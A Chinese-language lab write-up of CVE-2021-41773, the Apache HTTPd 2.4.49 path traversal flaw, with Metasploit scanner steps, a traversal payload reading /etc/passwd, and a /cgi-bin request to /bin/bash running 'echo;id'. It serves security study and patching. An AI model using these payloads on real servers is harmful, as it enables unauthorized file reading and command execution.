跳转至

CVE-2021-41773(Apache HTTP Server 路径穿越漏洞)

漏洞描述

Apache HTTPd 是Apache基金会开源的一款HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞。攻击者利用这个漏洞,可以读取到Apache服务器web目录以外的其他文件,或读取web中的脚本源码,如果服务器开启CGI或cgid服务,攻击者可进行任意代码执行

影响版本

  • Apache HTTP Server 2.4.49
  • Apache HTTP Server 2.4.50 (修复不完整 CVE-2021-42013)

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

漏洞存在验证

Bash
use auxiliary/scanner/http/apache_normalize_path
set TARGETURI /icons
# 这里设置的TARGETURI需要是真实存在的路径
set SSL false
# 我这里使用本地环境,没有使用Https

可见存在漏洞

CSS
/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

如果服务器开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令:

Bash
POST:

/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash

echo;id

MSF复现

Bash
search cve:2021-41773
set SSL false
set TARGETURI /cgi-bin

附上两个检查工具:https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

漏洞原理

Important

漏洞利用前提:

  • Apache版本等于2.4.49/2.4.50
  • <Directory />Require all granted</Directory>(默认情况下是允许被访问的)

Apache开启Cgi

CGI(通用网关接口)定义了一种 Web 服务器与外部内容生成程序进行交互的方式,这些程序通常称为 CGI 程序或 CGI 脚本。这是一种使用您最熟悉的编程语言将动态内容放置在您的网站上的简单方法。

参考文章:

https://www.cnblogs.com/mjtcn/p/15560483.html#_label1

https://www.docs4dev.com/docs/zh/apache/2.4/reference/howto-cgi.html#:~:text=%E9%85%8D%E7%BD%AE%20Apache%20%E4%BB%A5%E5%85%81%E8%AE%B8%20CGI%201%20ScriptAlias%20ScriptAlias%20%E6%8C%87%E4%BB%A4%E5%91%8A%E8%AF%89,User%20Directories%20%E8%A6%81%E5%85%81%E8%AE%B8%E5%AF%B9%E7%94%A8%E6%88%B7%E7%9B%AE%E5%BD%95%E4%B8%AD%E4%BB%A5%20.cgi%20%E7%BB%93%E5%B0%BE%E7%9A%84%E4%BB%BB%E4%BD%95%E6%96%87%E4%BB%B6%E6%89%A7%E8%A1%8C%20CGI%20%E7%A8%8B%E5%BA%8F%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8%E4%BB%A5%E4%B8%8B%E9%85%8D%E7%BD%AE%E3%80%82%20

关于漏洞代码分析可以参考:https://www.freebuf.com/vuls/311433.html

修复建议

  • 升级Apache版本